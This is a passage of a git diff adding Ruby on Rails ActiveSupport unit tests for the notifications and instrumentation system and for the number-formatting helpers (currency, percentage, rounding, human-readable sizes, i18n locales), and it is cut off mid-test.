+      # so we have to duplicate some of the setup code
+      old_notifier = ActiveSupport::Notifications.notifier
+      ActiveSupport::Notifications.notifier = ActiveSupport::Notifications::Fanout.new
+
+      ActiveSupport::Notifications.subscribe("foo", TestSubscriber.new)
+
+      ActiveSupport::Notifications.instrument("foo") do
+        ActiveSupport::Notifications.subscribe("foo") {}
+      end
+    ensure
+      ActiveSupport::Notifications.notifier = old_notifier
+    end
+  end
+
+  class UnsubscribeTest < TestCase
+    def test_unsubscribing_removes_a_subscription
+      @notifier.publish :foo
+      @notifier.wait
+      assert_equal [[:foo]], @events
+      @notifier.unsubscribe(@subscription)
+      @notifier.publish :foo
+      @notifier.wait
+      assert_equal [[:foo]], @events
+    end
+
+    def test_unsubscribing_by_name_removes_a_subscription
+      @notifier.publish "named.subscription", :foo
+      @notifier.wait
+      assert_equal [["named.subscription", :foo]], @named_events
+      @notifier.unsubscribe("named.subscription")
+      @notifier.publish "named.subscription", :foo
+      @notifier.wait
+      assert_equal [["named.subscription", :foo]], @named_events
+    end
+
+    def test_unsubscribing_by_name_leaves_the_other_subscriptions
+      @notifier.publish "named.subscription", :foo
+      @notifier.wait
+      assert_equal [["named.subscription", :foo]], @events
+      @notifier.unsubscribe("named.subscription")
+      @notifier.publish "named.subscription", :foo
+      @notifier.wait
+      assert_equal [["named.subscription", :foo], ["named.subscription", :foo]], @events
+    end
+
+  private
+    def event(*args)
+      args
+    end
+  end
+
+  class TestSubscriber
+    attr_reader :starts, :finishes, :publishes
+
+    def initialize
+      @starts    = []
+      @finishes  = []
+      @publishes = []
+    end
+
+    def start(*args);  @starts << args; end
+    def finish(*args); @finishes << args; end
+    def publish(*args); @publishes << args; end
+  end
+
+  class SyncPubSubTest < TestCase
+    def test_events_are_published_to_a_listener
+      @notifier.publish :foo
+      @notifier.wait
+      assert_equal [[:foo]], @events
+    end
+
+    def test_publishing_multiple_times_works
+      @notifier.publish :foo
+      @notifier.publish :foo
+      @notifier.wait
+      assert_equal [[:foo], [:foo]], @events
+    end
+
+    def test_publishing_after_a_new_subscribe_works
+      @notifier.publish :foo
+      @notifier.publish :foo
+
+      @notifier.subscribe("not_existent") do |*args|
+        @events << ActiveSupport::Notifications::Event.new(*args)
+      end
+
+      @notifier.publish :foo
+      @notifier.publish :foo
+      @notifier.wait
+
+      assert_equal [[:foo]] * 4, @events
+    end
+
+    def test_log_subscriber_with_string
+      events = []
+      @notifier.subscribe("1") { |*args| events << args }
+
+      @notifier.publish "1"
+      @notifier.publish "1.a"
+      @notifier.publish "a.1"
+      @notifier.wait
+
+      assert_equal [["1"]], events
+    end
+
+    def test_log_subscriber_with_pattern
+      events = []
+      @notifier.subscribe(/\d/) { |*args| events << args }
+
+      @notifier.publish "1"
+      @notifier.publish "a.1"
+      @notifier.publish "1.a"
+      @notifier.wait
+
+      assert_equal [["1"], ["a.1"], ["1.a"]], events
+    end
+
+    def test_multiple_log_subscribers
+      @another = []
+      @notifier.subscribe { |*args| @another << args }
+      @notifier.publish :foo
+      @notifier.wait
+
+      assert_equal [[:foo]], @events
+      assert_equal [[:foo]], @another
+    end
+
+    def test_publish_with_subscriber
+      subscriber = TestSubscriber.new
+      @notifier.subscribe nil, subscriber
+      @notifier.publish :foo
+
+      assert_equal [[:foo]], subscriber.publishes
+    end
+
+    private
+      def event(*args)
+        args
+      end
+  end
+
+  class InstrumentationTest < TestCase
+    delegate :instrument, to: ActiveSupport::Notifications
+
+    def test_instrument_returns_block_result
+      assert_equal 2, instrument(:awesome) { 1 + 1 }
+    end
+
+    def test_instrument_yields_the_payload_for_further_modification
+      assert_equal 2, instrument(:awesome) { |p| p[:result] = 1 + 1 }
+      assert_equal 1, @events.size
+      assert_equal :awesome, @events.first.name
+      assert_equal Hash[result: 2], @events.first.payload
+    end
+
+    def test_instrumenter_exposes_its_id
+      assert_equal 20, ActiveSupport::Notifications.instrumenter.id.size
+    end
+
+    def test_nested_events_can_be_instrumented
+      instrument(:awesome, payload: "notifications") do
+        instrument(:wot, payload: "child") do
+          1 + 1
+        end
+
+        assert_equal 1, @events.size
+        assert_equal :wot, @events.first.name
+        assert_equal Hash[payload: "child"], @events.first.payload
+      end
+
+      assert_equal 2, @events.size
+      assert_equal :awesome, @events.last.name
+      assert_equal Hash[payload: "notifications"], @events.last.payload
+    end
+
+    def test_instrument_publishes_when_exception_is_raised
+      begin
+        instrument(:awesome, payload: "notifications") do
+          raise "FAIL"
+        end
+      rescue RuntimeError => e
+        assert_equal "FAIL", e.message
+      end
+
+      assert_equal 1, @events.size
+      assert_equal Hash[payload: "notifications",
+        exception: ["RuntimeError", "FAIL"], exception_object: e], @events.last.payload
+    end
+
+    def test_event_is_pushed_even_without_block
+      instrument(:awesome, payload: "notifications")
+      assert_equal 1, @events.size
+      assert_equal :awesome, @events.last.name
+      assert_equal Hash[payload: "notifications"], @events.last.payload
+    end
+  end
+
+  class EventTest < TestCase
+    def test_events_are_initialized_with_details
+      time = Time.now
+      event = event(:foo, time, time + 0.01, random_id, {})
+
+      assert_equal    :foo, event.name
+      assert_equal    time, event.time
+      assert_in_delta 10.0, event.duration, 0.00001
+    end
+
+    def test_events_consumes_information_given_as_payload
+      event = event(:foo, Time.now, Time.now + 1, random_id, payload: :bar)
+      assert_equal Hash[payload: :bar], event.payload
+    end
+
+    def test_event_is_parent_based_on_children
+      time = Time.utc(2009, 01, 01, 0, 0, 1)
+
+      parent    = event(:foo, Time.utc(2009), Time.utc(2009) + 100, random_id, {})
+      child     = event(:foo, time, time + 10, random_id, {})
+      not_child = event(:foo, time, time + 100, random_id, {})
+
+      parent.children << child
+
+      assert parent.parent_of?(child)
+      assert !child.parent_of?(parent)
+      assert !parent.parent_of?(not_child)
+      assert !not_child.parent_of?(parent)
+    end
+
+    private
+      def random_id
+        @random_id ||= SecureRandom.hex(10)
+      end
+  end
+end
diff --git a/activesupport/test/number_helper_i18n_test.rb b/activesupport/test/number_helper_i18n_test.rb
new file mode 100644
index 0000000000..6d6958be49
--- /dev/null
+++ b/activesupport/test/number_helper_i18n_test.rb
@@ -0,0 +1,151 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/number_helper"
+require "active_support/core_ext/hash/keys"
+
+module ActiveSupport
+  class NumberHelperI18nTest < ActiveSupport::TestCase
+    include ActiveSupport::NumberHelper
+
+    def setup
+      I18n.backend.store_translations "ts",
+        number: {
+        format: { precision: 3, delimiter: ",", separator: ".", significant: false, strip_insignificant_zeros: false },
+        currency: { format: { unit: "&$", format: "%u - %n", negative_format: "(%u - %n)", precision: 2 } },
+        human: {
+          format: {
+            precision: 2,
+            significant: true,
+            strip_insignificant_zeros: true
+          },
+          storage_units: {
+            format: "%n %u",
+            units: {
+              byte: "b",
+              kb: "k"
+            }
+          },
+          decimal_units: {
+            format: "%n %u",
+            units: {
+              deci: { one: "Tenth", other: "Tenths" },
+              unit: "u",
+              ten: { one: "Ten", other: "Tens" },
+              thousand: "t",
+              million: "m",
+              billion: "b",
+              trillion: "t" ,
+              quadrillion: "q"
+            }
+          }
+        },
+        percentage: { format: { delimiter: "", precision: 2, strip_insignificant_zeros: true } },
+        precision: { format: { delimiter: "", significant: true } }
+      },
+      custom_units_for_number_to_human: { mili: "mm", centi: "cm", deci: "dm", unit: "m", ten: "dam", hundred: "hm", thousand: "km" }
+    end
+
+    def teardown
+      I18n.backend.reload!
+    end
+
+    def test_number_to_i18n_currency
+      assert_equal("&$ - 10.00", number_to_currency(10, locale: "ts"))
+      assert_equal("(&$ - 10.00)", number_to_currency(-10, locale: "ts"))
+      assert_equal("-10.00 - &$", number_to_currency(-10, locale: "ts", format: "%n - %u"))
+    end
+
+    def test_number_to_currency_with_empty_i18n_store
+      assert_equal("$10.00", number_to_currency(10, locale: "empty"))
+      assert_equal("-$10.00", number_to_currency(-10, locale: "empty"))
+    end
+
+    def test_locale_default_format_has_precedence_over_helper_defaults
+      I18n.backend.store_translations "ts",
+        number: { format: { separator: ";" } }
+
+      assert_equal("&$ - 10;00", number_to_currency(10, locale: "ts"))
+    end
+
+    def test_number_to_currency_without_currency_negative_format
+      I18n.backend.store_translations "no_negative_format", number: {
+        currency: { format: { unit: "@", format: "%n %u" } }
+      }
+
+      assert_equal("-10.00 @", number_to_currency(-10, locale: "no_negative_format"))
+    end
+
+    def test_number_with_i18n_precision
+      #Delimiter was set to ""
+      assert_equal("10000", number_to_rounded(10000, locale: "ts"))
+
+      #Precision inherited and significant was set
+      assert_equal("1.00", number_to_rounded(1.0, locale: "ts"))
+    end
+
+    def test_number_with_i18n_precision_and_empty_i18n_store
+      assert_equal("123456789.123", number_to_rounded(123456789.123456789, locale: "empty"))
+      assert_equal("1.000", number_to_rounded(1.0000, locale: "empty"))
+    end
+
+    def test_number_with_i18n_delimiter
+      #Delimiter "," and separator "."
+      assert_equal("1,000,000.234", number_to_delimited(1000000.234, locale: "ts"))
+    end
+
+    def test_number_with_i18n_delimiter_and_empty_i18n_store
+      assert_equal("1,000,000.234", number_to_delimited(1000000.234, locale: "empty"))
+    end
+
+    def test_number_to_i18n_percentage
+      # to see if strip_insignificant_zeros is true
+      assert_equal("1%", number_to_percentage(1, locale: "ts"))
+      # precision is 2, significant should be inherited
+      assert_equal("1.24%", number_to_percentage(1.2434, locale: "ts"))
+      # no delimiter
+      assert_equal("12434%", number_to_percentage(12434, locale: "ts"))
+    end
+
+    def test_number_to_i18n_percentage_and_empty_i18n_store
+      assert_equal("1.000%", number_to_percentage(1, locale: "empty"))
+      assert_equal("1.243%", number_to_percentage(1.2434, locale: "empty"))
+      assert_equal("12434.000%", number_to_percentage(12434, locale: "empty"))
+    end
+
+    def test_number_to_i18n_human_size
+      #b for bytes and k for kbytes
+      assert_equal("2 k", number_to_human_size(2048, locale: "ts"))
+      assert_equal("42 b", number_to_human_size(42, locale: "ts"))
+    end
+
+    def test_number_to_i18n_human_size_with_empty_i18n_store
+      assert_equal("2 KB", number_to_human_size(2048, locale: "empty"))
+      assert_equal("42 Bytes", number_to_human_size(42, locale: "empty"))
+    end
+
+    def test_number_to_human_with_default_translation_scope
+      #Using t for thousand
+      assert_equal "2 t", number_to_human(2000, locale: "ts")
+      #Significant was set to true with precision 2, using b for billion
+      assert_equal "1.2 b", number_to_human(1234567890, locale: "ts")
+      #Using pluralization (Ten/Tens and Tenth/Tenths)
+      assert_equal "1 Tenth", number_to_human(0.1, locale: "ts")
+      assert_equal "1.3 Tenth", number_to_human(0.134, locale: "ts")
+      assert_equal "2 Tenths", number_to_human(0.2, locale: "ts")
+      assert_equal "1 Ten", number_to_human(10, locale: "ts")
+      assert_equal "1.2 Ten", number_to_human(12, locale: "ts")
+      assert_equal "2 Tens", number_to_human(20, locale: "ts")
+    end
+
+    def test_number_to_human_with_empty_i18n_store
+      assert_equal "2 Thousand", number_to_human(2000, locale: "empty")
+      assert_equal "1.23 Billion", number_to_human(1234567890, locale: "empty")
+    end
+
+    def test_number_to_human_with_custom_translation_scope
+      #Significant was set to true with precision 2, with custom translated units
+      assert_equal "4.3 cm", number_to_human(0.0432, locale: "ts", units: :custom_units_for_number_to_human)
+    end
+  end
+end
diff --git a/activesupport/test/number_helper_test.rb b/activesupport/test/number_helper_test.rb
new file mode 100644
index 0000000000..b4795b6ee1
--- /dev/null
+++ b/activesupport/test/number_helper_test.rb
@@ -0,0 +1,411 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/number_helper"
+require "active_support/core_ext/string/output_safety"
+
+module ActiveSupport
+  module NumberHelper
+    class NumberHelperTest < ActiveSupport::TestCase
+      class TestClassWithInstanceNumberHelpers
+        include ActiveSupport::NumberHelper
+      end
+
+      class TestClassWithClassNumberHelpers
+        extend ActiveSupport::NumberHelper
+      end
+
+      def setup
+        @instance_with_helpers = TestClassWithInstanceNumberHelpers.new
+      end
+
+      def kilobytes(number)
+        number * 1024
+      end
+
+      def megabytes(number)
+        kilobytes(number) * 1024
+      end
+
+      def gigabytes(number)
+        megabytes(number) * 1024
+      end
+
+      def terabytes(number)
+        gigabytes(number) * 1024
+      end
+
+      def petabytes(number)
+        terabytes(number) * 1024
+      end
+
+      def exabytes(number)
+        petabytes(number) * 1024
+      end
+
+      def test_number_to_phone
+        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+          assert_equal("555-1234", number_helper.number_to_phone(5551234))
+          assert_equal("800-555-1212", number_helper.number_to_phone(8005551212))
+          assert_equal("(800) 555-1212", number_helper.number_to_phone(8005551212, area_code: true))
+          assert_equal("", number_helper.number_to_phone("", area_code: true))
+          assert_equal("800 555 1212", number_helper.number_to_phone(8005551212, delimiter: " "))
+          assert_equal("(800) 555-1212 x 123", number_helper.number_to_phone(8005551212, area_code: true, extension: 123))
+          assert_equal("800-555-1212", number_helper.number_to_phone(8005551212, extension: "  "))
+          assert_equal("555.1212", number_helper.number_to_phone(5551212, delimiter: "."))
+          assert_equal("800-555-1212", number_helper.number_to_phone("8005551212"))
+          assert_equal("+1-800-555-1212", number_helper.number_to_phone(8005551212, country_code: 1))
+          assert_equal("+18005551212", number_helper.number_to_phone(8005551212, country_code: 1, delimiter: ""))
+          assert_equal("22-555-1212", number_helper.number_to_phone(225551212))
+          assert_equal("+45-22-555-1212", number_helper.number_to_phone(225551212, country_code: 45))
+          assert_equal("(755) 6123-4567", number_helper.number_to_phone(75561234567, pattern: /(\d{3,4})(\d{4})(\d{4})/, area_code: true))
+          assert_equal("133-1234-5678", number_helper.number_to_phone(13312345678, pattern: /(\d{3})(\d{4})(\d{4})/))
+        end
+      end
+
+      def test_number_to_currency
+        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+          assert_equal("$1,234,567,890.50", number_helper.number_to_currency(1234567890.50))
+          assert_equal("$1,234,567,890.51", number_helper.number_to_currency(1234567890.506))
+          assert_equal("-$1,234,567,890.50", number_helper.number_to_currency(-1234567890.50))
+          assert_equal("-$ 1,234,567,890.50", number_helper.number_to_currency(-1234567890.50, format: "%u %n"))
+          assert_equal("($1,234,567,890.50)", number_helper.number_to_currency(-1234567890.50, negative_format: "(%u%n)"))
+          assert_equal("$1,234,567,892", number_helper.number_to_currency(1234567891.50, precision: 0))
+          assert_equal("$1,234,567,890.5", number_helper.number_to_currency(1234567890.50, precision: 1))
+          assert_equal("&pound;1234567890,50", number_helper.number_to_currency(1234567890.50, unit: "&pound;", separator: ",", delimiter: ""))
+          assert_equal("$1,234,567,890.50", number_helper.number_to_currency("1234567890.50"))
+          assert_equal("1,234,567,890.50 K&#269;", number_helper.number_to_currency("1234567890.50", unit: "K&#269;", format: "%n %u"))
+          assert_equal("1,234,567,890.50 - K&#269;", number_helper.number_to_currency("-1234567890.50", unit: "K&#269;", format: "%n %u", negative_format: "%n - %u"))
+          assert_equal("0.00", number_helper.number_to_currency(+0.0, unit: "", negative_format: "(%n)"))
+        end
+      end
+
+      def test_number_to_percentage
+        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+          assert_equal("100.000%", number_helper.number_to_percentage(100))
+          assert_equal("100%", number_helper.number_to_percentage(100, precision: 0))
+          assert_equal("302.06%", number_helper.number_to_percentage(302.0574, precision: 2))
+          assert_equal("100.000%", number_helper.number_to_percentage("100"))
+          assert_equal("1000.000%", number_helper.number_to_percentage("1000"))
+          assert_equal("123.4%", number_helper.number_to_percentage(123.400, precision: 3, strip_insignificant_zeros: true))
+          assert_equal("1.000,000%", number_helper.number_to_percentage(1000, delimiter: ".", separator: ","))
+          assert_equal("1000.000  %", number_helper.number_to_percentage(1000, format: "%n  %"))
+          assert_equal("98a%", number_helper.number_to_percentage("98a"))
+          assert_equal("NaN%", number_helper.number_to_percentage(Float::NAN))
+          assert_equal("Inf%", number_helper.number_to_percentage(Float::INFINITY))
+          assert_equal("NaN%", number_helper.number_to_percentage(Float::NAN, precision: 0))
+          assert_equal("Inf%", number_helper.number_to_percentage(Float::INFINITY, precision: 0))
+          assert_equal("NaN%", number_helper.number_to_percentage(Float::NAN, precision: 1))
+          assert_equal("Inf%", number_helper.number_to_percentage(Float::INFINITY, precision: 1))
+          assert_equal("1000%", number_helper.number_to_percentage(1000, precision: nil))
+          assert_equal("1000%", number_helper.number_to_percentage(1000, precision: nil))
+          assert_equal("1000.1%", number_helper.number_to_percentage(1000.1, precision: nil))
+          assert_equal("-0.13 %", number_helper.number_to_percentage("-0.13", precision: nil, format: "%n %"))
+        end
+      end
+
+      def test_to_delimited
+        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+          assert_equal("12,345,678", number_helper.number_to_delimited(12345678))
+          assert_equal("0", number_helper.number_to_delimited(0))
+          assert_equal("123", number_helper.number_to_delimited(123))
+          assert_equal("123,456", number_helper.number_to_delimited(123456))
+          assert_equal("123,456.78", number_helper.number_to_delimited(123456.78))
+          assert_equal("123,456.789", number_helper.number_to_delimited(123456.789))
+          assert_equal("123,456.78901", number_helper.number_to_delimited(123456.78901))
+          assert_equal("123,456,789.78901", number_helper.number_to_delimited(123456789.78901))
+          assert_equal("0.78901", number_helper.number_to_delimited(0.78901))
+          assert_equal("123,456.78", number_helper.number_to_delimited("123456.78"))
+          assert_equal("1,23,456.78", number_helper.number_to_delimited("123456.78", delimiter_pattern: /(\d+?)(?=(\d\d)+(\d)(?!\d))/))
+          assert_equal("123,456.78", number_helper.number_to_delimited("123456.78".html_safe))
+        end
+      end
+
+      def test_to_delimited_with_options_hash
+        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+          assert_equal "12 345 678", number_helper.number_to_delimited(12345678, delimiter: " ")
+          assert_equal "12,345,678-05", number_helper.number_to_delimited(12345678.05, separator: "-")
+          assert_equal "12.345.678,05", number_helper.number_to_delimited(12345678.05, separator: ",", delimiter: ".")
+        end
+      end
+
+      def test_to_rounded
+        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+          assert_equal("-111.235", number_helper.number_to_rounded(-111.2346))
+          assert_equal("111.235", number_helper.number_to_rounded(111.2346))
+          assert_equal("31.83", number_helper.number_to_rounded(31.825, precision: 2))
+          assert_equal("111.23", number_helper.number_to_rounded(111.2346, precision: 2))
+          assert_equal("111.00", number_helper.number_to_rounded(111, precision: 2))
+          assert_equal("111.235", number_helper.number_to_rounded("111.2346"))
+          assert_equal("31.83", number_helper.number_to_rounded("31.825", precision: 2))
+          assert_equal("3268", number_helper.number_to_rounded((32.6751 * 100.00), precision: 0))
+          assert_equal("112", number_helper.number_to_rounded(111.50, precision: 0))
+          assert_equal("1234567892", number_helper.number_to_rounded(1234567891.50, precision: 0))
+          assert_equal("0", number_helper.number_to_rounded(0, precision: 0))
+          assert_equal("0.00100", number_helper.number_to_rounded(0.001, precision: 5))
+          assert_equal("0.001", number_helper.number_to_rounded(0.00111, precision: 3))
+          assert_equal("10.00", number_helper.number_to_rounded(9.995, precision: 2))
+          assert_equal("11.00", number_helper.number_to_rounded(10.995, precision: 2))
+          assert_equal("0.00", number_helper.number_to_rounded(-0.001, precision: 2))
+
+          assert_equal("111.23460000000000000000", number_helper.number_to_rounded(111.2346, precision: 20))
+          assert_equal("111.23460000000000000000", number_helper.number_to_rounded(Rational(1112346, 10000), precision: 20))
+          assert_equal("111.23460000000000000000", number_helper.number_to_rounded("111.2346", precision: 20))
+          assert_equal("111.23460000000000000000", number_helper.number_to_rounded(BigDecimal(111.2346, Float::DIG), precision: 20))
+          assert_equal("111.2346" + "0" * 96, number_helper.number_to_rounded("111.2346", precision: 100))
+          assert_equal("111.2346", number_helper.number_to_rounded(Rational(1112346, 10000), precision: 4))
+          assert_equal("0.00", number_helper.number_to_rounded(Rational(0, 1), precision: 2))
+        end
+      end
+
+      def test_to_rounded_with_custom_delimiter_and_separator
+        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+          assert_equal "31,83",       number_helper.number_to_rounded(31.825, precision: 2, separator: ",")
+          assert_equal "1.231,83",    number_helper.number_to_rounded(1231.825, precision: 2, separator: ",", delimiter: ".")
+        end
+      end
+
+      def test_to_rounded_with_significant_digits
+        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+          assert_equal "124000", number_helper.number_to_rounded(123987, precision: 3, significant: true)
+          assert_equal "120000000", number_helper.number_to_rounded(123987876, precision: 2, significant: true)
+          assert_equal "40000", number_helper.number_to_rounded("43523", precision: 1, significant: true)
+          assert_equal "9775", number_helper.number_to_rounded(9775, precision: 4, significant: true)
+          assert_equal "5.4", number_helper.number_to_rounded(5.3923, precision: 2, significant: true)
+          assert_equal "5", number_helper.number_to_rounded(5.3923, precision: 1, significant: true)
+          assert_equal "1", number_helper.number_to_rounded(1.232, precision: 1, significant: true)
+          assert_equal "7", number_helper.number_to_rounded(7, precision: 1, significant: true)
+          assert_equal "1", number_helper.number_to_rounded(1, precision: 1, significant: true)
+          assert_equal "53", number_helper.number_to_rounded(52.7923, precision: 2, significant: true)
+          assert_equal "9775.00", number_helper.number_to_rounded(9775, precision: 6, significant: true)
+          assert_equal "5.392900", number_helper.number_to_rounded(5.3929, precision: 7, significant: true)
+          assert_equal "0.0", number_helper.number_to_rounded(0, precision: 2, significant: true)
+          assert_equal "0", number_helper.number_to_rounded(0, precision: 1, significant: true)
+          assert_equal "0.0001", number_helper.number_to_rounded(0.0001, precision: 1, significant: true)
+          assert_equal "0.000100", number_helper.number_to_rounded(0.0001, precision: 3, significant: true)
+          assert_equal "0.0001", number_helper.number_to_rounded(0.0001111, precision: 1, significant: true)
+          assert_equal "10.0", number_helper.number_to_rounded(9.995, precision: 3, significant: true)
+          assert_equal "9.99", number_helper.number_to_rounded(9.994, precision: 3, significant: true)
+          assert_equal "11.0", number_helper.number_to_rounded(10.995, precision: 3, significant: true)
+
+          assert_equal "9775.0000000000000000", number_helper.number_to_rounded(9775, precision: 20, significant: true)
+          assert_equal "9775.0000000000000000", number_helper.number_to_rounded(9775.0, precision: 20, significant: true)
+          assert_equal "9775.0000000000000000", number_helper.number_to_rounded(Rational(9775, 1), precision: 20, significant: true)
+          assert_equal "97.750000000000000000", number_helper.number_to_rounded(Rational(9775, 100), precision: 20, significant: true)
+          assert_equal "9775.0000000000000000", number_helper.number_to_rounded(BigDecimal(9775), precision: 20, significant: true)
+          assert_equal "9775.0000000000000000", number_helper.number_to_rounded("9775", precision: 20, significant: true)
+          assert_equal "9775." + "0" * 96, number_helper.number_to_rounded("9775", precision: 100, significant: true)
+          assert_equal("97.7", number_helper.number_to_rounded(Rational(9772, 100), precision: 3, significant: true))
+        end
+      end
+
+      def test_to_rounded_with_strip_insignificant_zeros
+        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+          assert_equal "9775.43", number_helper.number_to_rounded(9775.43, precision: 4, strip_insignificant_zeros: true)
+          assert_equal "9775.2", number_helper.number_to_rounded(9775.2, precision: 6, significant: true, strip_insignificant_zeros: true)
+          assert_equal "0", number_helper.number_to_rounded(0, precision: 6, significant: true, strip_insignificant_zeros: true)
+        end
+      end
+
+      def test_to_rounded_with_significant_true_and_zero_precision
+        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+          # Zero precision with significant is a mistake (would always return zero),
+          # so we treat it as if significant was false (increases backwards compatibility for number_to_human_size)
+          assert_equal "124", number_helper.number_to_rounded(123.987, precision: 0, significant: true)
+          assert_equal "12", number_helper.number_to_rounded(12, precision: 0, significant: true)
+          assert_equal "12", number_helper.number_to_rounded("12.3", precision: 0, significant: true)
+        end
+      end
+
+      def test_number_number_to_human_size
+        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+          assert_equal "0 Bytes",   number_helper.number_to_human_size(0)
+          assert_equal "1 Byte",    number_helper.number_to_human_size(1)
+          assert_equal "3 Bytes",   number_helper.number_to_human_size(3.14159265)
+          assert_equal "123 Bytes", number_helper.number_to_human_size(123.0)
+          assert_equal "123 Bytes", number_helper.number_to_human_size(123)
+          assert_equal "1.21 KB",    number_helper.number_to_human_size(1234)
+          assert_equal "12.1 KB",   number_helper.number_to_human_size(12345)
+          assert_equal "1.18 MB",    number_helper.number_to_human_size(1234567)
+          assert_equal "1.15 GB",    number_helper.number_to_human_size(1234567890)
+          assert_equal "1.12 TB",    number_helper.number_to_human_size(1234567890123)
+          assert_equal "1.1 PB",   number_helper.number_to_human_size(1234567890123456)
+          assert_equal "1.07 EB",   number_helper.number_to_human_size(1234567890123456789)
+          assert_equal "1030 EB",   number_helper.number_to_human_size(exabytes(1026))
+          assert_equal "444 KB",    number_helper.number_to_human_size(kilobytes(444))
+          assert_equal "1020 MB",   number_helper.number_to_human_size(megabytes(1023))
+          assert_equal "3 TB",      number_helper.number_to_human_size(terabytes(3))
+          assert_equal "1.2 MB",   number_helper.number_to_human_size(1234567, precision: 2)
+          assert_equal "3 Bytes",   number_helper.number_to_human_size(3.14159265, precision: 4)
+          assert_equal "123 Bytes", number_helper.number_to_human_size("123")
+          assert_equal "1 KB",   number_helper.number_to_human_size(kilobytes(1.0123), precision: 2)
+          assert_equal "1.01 KB",   number_helper.number_to_human_size(kilobytes(1.0100), precision: 4)
+          assert_equal "10 KB",   number_helper.number_to_human_size(kilobytes(10.000), precision: 4)
+          assert_equal "1 Byte",   number_helper.number_to_human_size(1.1)
+          assert_equal "10 Bytes", number_helper.number_to_human_size(10)
+        end
+      end
+
+      def test_number_to_human_size_with_options_hash
+        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+          assert_equal "1.2 MB",   number_helper.number_to_human_size(1234567, precision: 2)
+          assert_equal "3 Bytes",   number_helper.number_to_human_size(3.14159265, precision: 4)
+          assert_equal "1 KB",   number_helper.number_to_human_size(kilobytes(1.0123), precision: 2)
+          assert_equal "1.01 KB",   number_helper.number_to_human_size(kilobytes(1.0100), precision: 4)
+          assert_equal "10 KB",     number_helper.number_to_human_size(kilobytes(10.000), precision: 4)
+          assert_equal "1 TB", number_helper.number_to_human_size(1234567890123, precision: 1)
+          assert_equal "500 MB", number_helper.number_to_human_size(524288000, precision: 3)
+          assert_equal "10 MB", number_helper.number_to_human_size(9961472, precision: 0)
+          assert_equal "40 KB", number_helper.number_to_human_size(41010, precision: 1)
+          assert_equal "40 KB", number_helper.number_to_human_size(41100, precision: 2)
+          assert_equal "1.0 KB",   number_helper.number_to_human_size(kilobytes(1.0123), precision: 2, strip_insignificant_zeros: false)
+          assert_equal "1.012 KB",   number_helper.number_to_human_size(kilobytes(1.0123), precision: 3, significant: false)
+          assert_equal "1 KB",   number_helper.number_to_human_size(kilobytes(1.0123), precision: 0, significant: true) #ignores significant it precision is 0
+        end
+      end
+
+      def test_number_to_human_size_with_custom_delimiter_and_separator
+        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+          assert_equal "1,01 KB",     number_helper.number_to_human_size(kilobytes(1.0123), precision: 3, separator: ",")
+          assert_equal "1,01 KB",     number_helper.number_to_human_size(kilobytes(1.0100), precision: 4, separator: ",")
+          assert_equal "1.000,1 TB",  number_helper.number_to_human_size(terabytes(1000.1), precision: 5, delimiter: ".", separator: ",")
+        end
+      end
+
+      def test_number_to_human
+        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+          assert_equal "-123", number_helper.number_to_human(-123)
+          assert_equal "-0.5", number_helper.number_to_human(-0.5)
+          assert_equal "0",   number_helper.number_to_human(0)
+          assert_equal "0.5", number_helper.number_to_human(0.5)
+          assert_equal "123", number_helper.number_to_human(123)
+          assert_equal "1.23 Thousand", number_helper.number_to_human(1234)
+          assert_equal "12.3 Thousand", number_helper.number_to_human(12345)
+          assert_equal "1.23 Million", number_helper.number_to_human(1234567)
+          assert_equal "1.23 Billion", number_helper.number_to_human(1234567890)
+          assert_equal "1.23 Trillion", number_helper.number_to_human(1234567890123)
+          assert_equal "1.23 Quadrillion", number_helper.number_to_human(1234567890123456)
+          assert_equal "1230 Quadrillion", number_helper.number_to_human(1234567890123456789)
+          assert_equal "490 Thousand", number_helper.number_to_human(489939, precision: 2)
+          assert_equal "489.9 Thousand", number_helper.number_to_human(489939, precision: 4)
+          assert_equal "489 Thousand", number_helper.number_to_human(489000, precision: 4)
+          assert_equal "489.0 Thousand", number_helper.number_to_human(489000, precision: 4, strip_insignificant_zeros: false)
+          assert_equal "1.2346 Million", number_helper.number_to_human(1234567, precision: 4, significant: false)
+          assert_equal "1,2 Million", number_helper.number_to_human(1234567, precision: 1, significant: false, separator: ",")
+          assert_equal "1 Million", number_helper.number_to_human(1234567, precision: 0, significant: true, separator: ",") #significant forced to false
+          assert_equal "1 Million", number_helper.number_to_human(999999)
+          assert_equal "1 Billion", number_helper.number_to_human(999999999)
+        end
+      end
+
+      def test_number_to_human_with_custom_units
+        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+          #Only integers
+          volume = { unit: "ml", thousand: "lt", million: "m3" }
+          assert_equal "123 lt", number_helper.number_to_human(123456, units: volume)
+          assert_equal "12 ml", number_helper.number_to_human(12, units: volume)
+          assert_equal "1.23 m3", number_helper.number_to_human(1234567, units: volume)
+
+          #Including fractionals
+          distance = { mili: "mm", centi: "cm", deci: "dm", unit: "m", ten: "dam", hundred: "hm", thousand: "km" }
+          assert_equal "1.23 mm", number_helper.number_to_human(0.00123, units: distance)
